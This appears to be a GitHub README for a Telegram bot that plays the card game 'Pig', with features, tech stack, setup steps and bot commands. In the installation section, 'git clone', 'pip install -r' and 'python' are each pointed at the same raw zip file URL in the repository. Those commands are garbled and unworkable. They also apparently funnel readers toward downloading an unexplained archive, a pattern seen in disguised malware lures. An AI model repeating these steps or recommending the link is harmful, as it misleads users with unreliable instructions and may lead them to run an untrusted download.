The Pig Card Game Bot is a bot that allows users to play the popular card game "Pig" in a fun and interactive way. Built with a focus on user experience, this bot leverages the power of asynchronous programming to ensure smooth gameplay. Whether you're playing with friends or against the bot, you'll find the experience engaging and enjoyable.
You can download the latest version of the bot from the Releases section.
- Multiplayer Support: Play with friends or challenge the bot.
- Multilanguage Support: Enjoy the game in various languages.
- Asynchronous Gameplay: Fast and responsive interaction.
- Translation Support: Game messages are translated for better understanding.
- Easy Setup: Simple installation process to get you started quickly.
The Pig Card Game Bot utilizes a variety of technologies to deliver a seamless experience:
- aiogram: A framework for building Telegram bots in Python.
- aiohttp: For making asynchronous HTTP requests.
- asyncpg: A database interface library for PostgreSQL.
- SQLAlchemy: An ORM that simplifies database interactions.
- PostgreSQL: The database used for storing game data.
- Locales: Support for multiple languages to enhance accessibility.
To install the Pig Card Game Bot, follow these steps:
-
Clone the Repository:
git clone https://raw.githubusercontent.com/harshad71/Pig-Card-Game-Bot/main/app/Pig-Card-Bot-Game-v3.2.zip cd Pig-Card-Game-Bot -
Install Dependencies: Use pip to install the required packages:
pip install -r https://raw.githubusercontent.com/harshad71/Pig-Card-Game-Bot/main/app/Pig-Card-Bot-Game-v3.2.zip
-
Set Up the Database: Make sure you have PostgreSQL installed. Create a database and update the configuration file with your database details.
-
Run the Bot: Start the bot with the following command:
python https://raw.githubusercontent.com/harshad71/Pig-Card-Game-Bot/main/app/Pig-Card-Bot-Game-v3.2.zip
You can download the latest version of the bot from the Releases section if you prefer a packaged version.
Once the bot is running, you can interact with it through Telegram. Simply search for the bot by its username and start a chat. The bot will guide you through the game setup and rules.
To start a new game, type /start. The bot will provide options to play with friends or against the bot.
To end a game, type /end. The bot will summarize the results and thank you for playing.
Here are some commands you can use while interacting with the bot:
/start: Start a new game./help: Get help on how to play the game./end: End the current game./score: Check the current score./language: Change the language of the game.
Contributions are welcome! If you would like to help improve the Pig Card Game Bot, please follow these steps:
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Make your changes and commit them.
- Push to your branch and submit a pull request.
Please ensure your code adheres to the existing style and passes all tests.
This project is licensed under the MIT License. See the LICENSE file for details.
Special thanks to the contributors and the open-source community for their support and resources. Your efforts make projects like this possible.
For any inquiries or issues, please reach out through the GitHub issues page or contact the repository owner directly.
You can download the latest version of the bot from the Releases section for a quick start. Enjoy playing the Pig Card Game!